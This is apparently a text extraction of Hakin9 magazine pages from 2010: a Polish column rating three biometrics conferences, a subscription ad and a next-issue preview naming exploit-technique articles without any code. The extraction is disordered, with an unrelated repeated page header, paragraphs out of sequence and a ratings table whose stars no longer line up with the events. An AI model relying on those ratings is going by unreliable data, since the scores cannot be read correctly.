Page 78: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

FELIETON

78 HAKIN9 3/2010 79 HAKIN9 3/2010

Jak dobre wino…

odosobniony w tych zwyczajach. Jeżeli zatem dostrzegamy użyteczność recenzji filmowych, teatralnych, a nawet restauracji czy poszczególnych gatunków wina – to czy wybór specjalistycznych konferencji nie mógłby być bardziej merytoryczny, poprzedzony lekturą ich profesjonalnych recenzji?

W dziedzinie biometrii są na świecie jedynie trzy wydarzenia, które dokumentują wszelkie istotne zmiany i postęp w tej dziedzinie. Wszelkie inne możemy moim zdaniem śmiało pominąć lub potraktować jako lokalne lub środowiskowe. Nie jest moją intencją pomniejszanie ich znaczenia, a jedynie podkreślenie wiodącej roli tych pierwszych.

Są to, wymieniając od najmniejszej do największej:

• Konferencja The Winter / Fall Biometrics Summit w Miami (USA).

• Wystawa i konferencja Bimometrics w Londynie.

• Targi i kongres CARTES & IDentification w Paryżu.

Postaram się ocenić ich użyteczność dla profesjonalistów chcących trzymać przysłowiową rękę na pulsie dynamicznie rozwijającej się biometrii.

Trudno o obiektywne kryteria dla takiej oceny. Sądzę jednak, że kierując się dość bogatym własnym doświadczeniem, jak również moich kolegów i współpracowników, mogę starać się dokonać takiej oceny porównując:

• Koszty, na które składają się nie tylko opłaty za uczestnictwo, ale także gama oferowanych zniżek, koszty podróży, dojazdów, zakwaterowania i wyżywienia w miejscu imprezy.

Coraz rzadziej idziemy do księgarni lub sklepu muzycznego, aby w tych

miejscach poszperać w poszukiwaniu czegoś ciekawego. Nawet do sklepu z winami udajemy się już z konkretną rekomendacją. I dzieje się tak nie tylko dlatego, że księgarnie, sklepy muzyczne czy winiarskie mają tak dużą ofertę. Mamy coraz mniej czasu i wyszukiwanie na chybił trafił jest już po prostu jego stratą. Mam taki zaprzyjaźniony sklep i hurtownię z winami bezpośrednio obok firmy oponiarskiej, która przechowuje opony mojego samochodu. Kiedy pracownicy serwisu wymieniają moje opony letnie na zimowe lub odwrotnie, ja udaję się do tej krainy win z całego świata. Gdybym nie miał konkretnych preferencji i ukształtowanych metod doboru win do konkretnej okazji, to zakupy w tym sklepie mogłyby potrwać do następnej sezonowej wizyty. Podobnie jest z płytami CD i książkami. W samochodzie mam nawet specjalny notesik i długopis, aby zanotować nazwisko wykonawcy z wyświetlacza radia, gdy usłyszę w Radiu PIN coś chwytającego za serce. I gdy udaję się do sklepu muzycznego, proszę jego personel o odnalezienie konkretnych płyt wymienionych w tych moich notatkach. Nie sądzę, abym był

Jeżeli dostrzegamy użyteczność recenzji filmowych, teatralnych, a nawet restauracji czy poszczególnych gatunków wina – to czy wybór specjalistycznych konferencji nie będzie trafniejszy poprzedzony lekturą recenzji ich poprzednich edycji?

Page 79: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

FELIETON

78 HAKIN9 3/2010 79 HAKIN9 3/2010

• Wartość merytoryczną konferencji, która zależy od poziomu prelegentów, kryteriów ich doboru oraz modelu biznesowego imprezy.

• Wartość poznawczą targów lub wystawy, rozumianą jako bogactwo i kompletność oferty uczestniczących w niej wystawców.

• Możliwości edukacyjne, tj. możliwość wzięcia udziału w odbywających się przy okazji głównej imprezy różnych warsztatach, specjalnych wykładach lub prelekcjach eksperckich, prowadzonych przez przybyłych z całego świata specjalistów.

• Atrakcyjność kulturalno-turystyczna miejsca, co często bezpośrednio zależy także od terminu (sezonu), w którym organizowana jest impreza.

• Dogodność lokalizacyjną miejsca organizacji targów i konferencji, która w wielu przypadkach ma bezpośredni wpływ na koszty oraz możliwości skorzystania z innych atrakcji.

Przedstawiając poniżej mój własny autorski ranking, zdaję sobie sprawę z jego subiektywności. Postaram się

jednak dostarczyć do niego klucz, pozwalający na racjonalizację wyborów na nim opartych.

W przedstawionej tabeli przyznałem poszczególnym wydarzeniom w poszczególnych kategoriach od jednej do trzech gwiazdek. Przy tak stosunkowo płaskiej ocenie, sumowanie tych gwiazdek nie ma większego sensu. Ale są wystarczającą skalą porównawczą. W mojej ocenie stawka i tak jest bardzo wyrównana, a to dlatego, że zaproponowane kryteria oceny dają im wszystkim jakąś przewagę w określonych zakresach. I tak, jeżeli zależy nam na poznaniu najnowszych wdrożeń z wykorzystaniem wielomodalnych biometrii oraz na programach edukacyjnych pozwalających na uporządkowanie fachowej wiedzy, to The Winter Biometrics Summit lub The Fall Biometrics Summit będzie najlepszym wyborem. Jeżeli natomiast zależy nam na poznaniu szerokiego spektrum problematyki biometrycznej prezentowanej przez wiodące firmy wdrożeniowe w Europie i USA, to Biometrics w Londynie zaspokoi nasze wszelkie ambicje poznawcze.

Przy okazji pobyt tam pozwoli nam na poznanie potencjalnych dostawców tych technologii w Polsce, ponieważ z coraz większą śmiałością tam się prezentują (NASK, EBR, PWPW).

Z kolei wszelkich entuzjastów najnowszych technologii biometrycznych zaprzęgniętych w procesy identyfikacji i uwierzytelniania, do tego w wydaniu firm z całego świata, śmiało mógłbym wysłać do Paryża na CARTES. Wszystkie zaprezentowane przedsięwzięcia konferencyjne i targowe wzajemnie się uzupełniają. Ale jeżeli nasze zasoby czasowe lub finansowe nie pozwalają na uczestnictwo w nich wszystkich, to kierując się przedstawionymi rekomendacjami, jak sądzę, łatwiej będzie Czytelnikowi dokonać racjonalnego wyboru, stosownie do swoich aktualnych potrzeb i możliwości. Z winem jest tak samo.

Kryterium porównania Porównywane wydarzenia i ich organizatorzy

The Winter/Fall Biometrics Summit[A.L.I.]

Biometrics[ELSEVIER]

CARTES &IDentification[Comexposium]

Koszty, na które składają się nie tylko opłaty za uczestnictwo, ale także gama oferowanych zniżek, koszty podróży, dojazdów, zakwaterowania i wyżywienia w miejscu imprezy. **** *** *Wartość merytoryczna konferencji, która zależy od poziomu prelegentów, kryteriów ich doboru oraz modelu biznesowego imprezy. **** *** *Wartość poznawcza targów lub wystawy, rozumiana jako bogactwo i kompletność oferty uczestniczących w niej wystawców. ** *** *Możliwości edukacyjne, tj. możliwość wzięcia udziału w odbywających się przy okazji głównej imprezy różnych warsztatach, specjalnych wykładach lub prelekcjach eksperckich, prowadzonych przez przybyłych z całego świata specjalistów.

**** ** ***Atrakcyjność kulturalno-turystyczna miejsca, co często bezpośrednio zależy także od terminu (sezonu), w którym organizowana jest impreza. ** **** **Dogodność lokalizacyjną miejsca organizacji Targów i Konferencji, która w wielu przypadkach ma bezpośredni wpływ na koszty oraz możliwości skorzystania z innych atrakcji. ** **** **

Jerzy CichowiczUrodzony w 1955 roku, absolwent SGGW w Warszawie, AWF we Wrocławiu, Politechniki Warszawskiej i Akademii Leona Koźmińskiego w Warszawie Aktualnie - właściciel i jedyny pracownik 1-osobowej firmy E-RADA. Prywatnie: żonaty ojciec i dziadek. Kontakt z autorem: [email protected]

Page 80: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

Obsługa prenumeraty 1. Telefon+48 22 427 37 59 2. Fax+48 22 244 24 59 2. [email protected]

3. AdresSoftware Press Sp. z o.o. Spółka Komandytowaul. Bokserska 1,02-682 Warszawa

Roczna prenumerata

tylko249hakin9 – jak się obronić to ukazujący się w dwudziestu czterech krajach Europy magazyn o bezpieczeństwie. hakin9 porusza sprawy związane z bezpieczeństwem sys-temów informatycznych – rozpatrywane zarówno od stro-ny osoby naruszającej bezpieczeństwo, jak i osoby, która bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-pieczyć system przed hakerami i wszelkimi innymi zagro-żeniami, oprowadzamy Czytelników po tajnikach najpopu-larniejszych programów antywirusowych, systemów wy-krywania włamań, narzędziach, których potrzebuje każdy administrator.

,-

Obsługa prenumeraty

UWAGA!

Zmiana danych kontaktowych

Roczna prenumerata

Page 81: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

Prenumerujesz – zyskujeszl oszczędność pieniędzy l szybka dostawa l prezentyl bezpieczna płatność on–line

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa fi rmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP fi rmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer: 00 48 22 244 24 59lub listownie na adres: Software Press Sp. z o.o. Spółka Komandytowaul. Bokserska 102-682 WarszawaPolskaE-Mail: [email protected]

Przyjmujemy też zamównienia telefoniczne:00 48 22 427 37 59

Jeżeli chcesz się dowiedzieć o formach płatności, wejdź na stronę:www.hakin9.org lub napisz na e-mail: [email protected]

TytułIlość

nume-rów

Ilość zama-

wianych prenume-

rat

Od numeru pisma

lub mie-siąca

Cena

hakin9, jak się obronić (1 płyta CD)Miesięcznik o bezpieczeństwiei hakingu

12 249PLN

□ automatyczne przedłużenie prenumeraty

Zadzwoń+48 22 427 37 59

lubzamów

mailowo!

Page 82: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

82 HAKIN9 3/2010

ZA MIESIĄCW następnym numerze między innymi:

Numer będzie w sprzedażypod koniec marca 2010

Aktualne informacje o najbliższym numerze znajdziesz na naszej stronie www.hakin9.org/pl.

NA CDhakin9.live bootowalna dystrybucja LinuksaMnóstwo narzędzi – niezbędnik hakeraTutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułachDodatkowa dokumentacjaPełne wersje komercyjnych aplikacji

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

ATAKALTERNATYWA DLA TĘCZOWYCH TABLICAtaki wykorzystujące tęczowe tablice stały się w ciągu kilku ostatnich lat jedną z najpopularniejszych metod odwracania skrótów kryptograficznych. Artykuł przedstawia ciekawą alternatywę, polegającą na kompresji tablic obliczeń wstępnych. Rozwiązanie to ma, pod kilkoma względami, lepsze właściwości niż tęczowe tablice m. in. wyższą wydajność i większa skuteczność odwracania skrótów. .

RETURN-ORIENTED EXPLOITINGNiniejszy artykuł ma na celu zaprezentowanie czytelnikowi technik return-to-esp, return-into-libc oraz return-oriented programming w postaci return-oriented exploiting. Zacznijmy jednak od powodu, dla którego ta technika została wymyślona, a raczej dwóch niezależnych powodów – bitu NX/XD oraz ASLR.

HONEYPOT? MIODZIOGarnce miodu (ang. honeypot ) to technika wykorzystywana w bezpieczeństwie komputerowym stosunkowo od niedawna, jednak

sama koncepcja użycia przynęty, o jaką się opiera, ma wiekowe tradycje. W niniejszym artykule przedstawione zostały ogólne założenia i zasady działania systemów honeypot oraz instalacja, konfiguracja i działanie honeyd i dionaea.

DARMOWE SMSYArtykuł pokazuje technikę wykorzystania bramek do wysyłania za prawie darmo SMSów z telefonu komórkowego.Opisuje i przedstawia stawki za połączenie internetowe poszczególnych operatorów telefonii komórkowej. Na przykładzie sieci Heyah, prezentuje ile danych można wysłać za 2 gr i przeliczenie tego na ilość tekstu, co później daje ilość SMSów za tę cenę. Tekst opisuje skrypt napisanego w języku Ruby wysyłającego wiadomości przez bramkę Heyah (heyahklub.pl ).

OBRONAKRZYWE ELIPTYCZNE W ZASTOSOWANIACH KRYPTOLOGICZNYCHKrzywe eliptyczne - każdy kto miał lub też ma związek z zabezpieczeniami kiedyś o nich słyszał. Po co właściwie one? Dlaczego działają?

Page 83: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się
Page 84: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się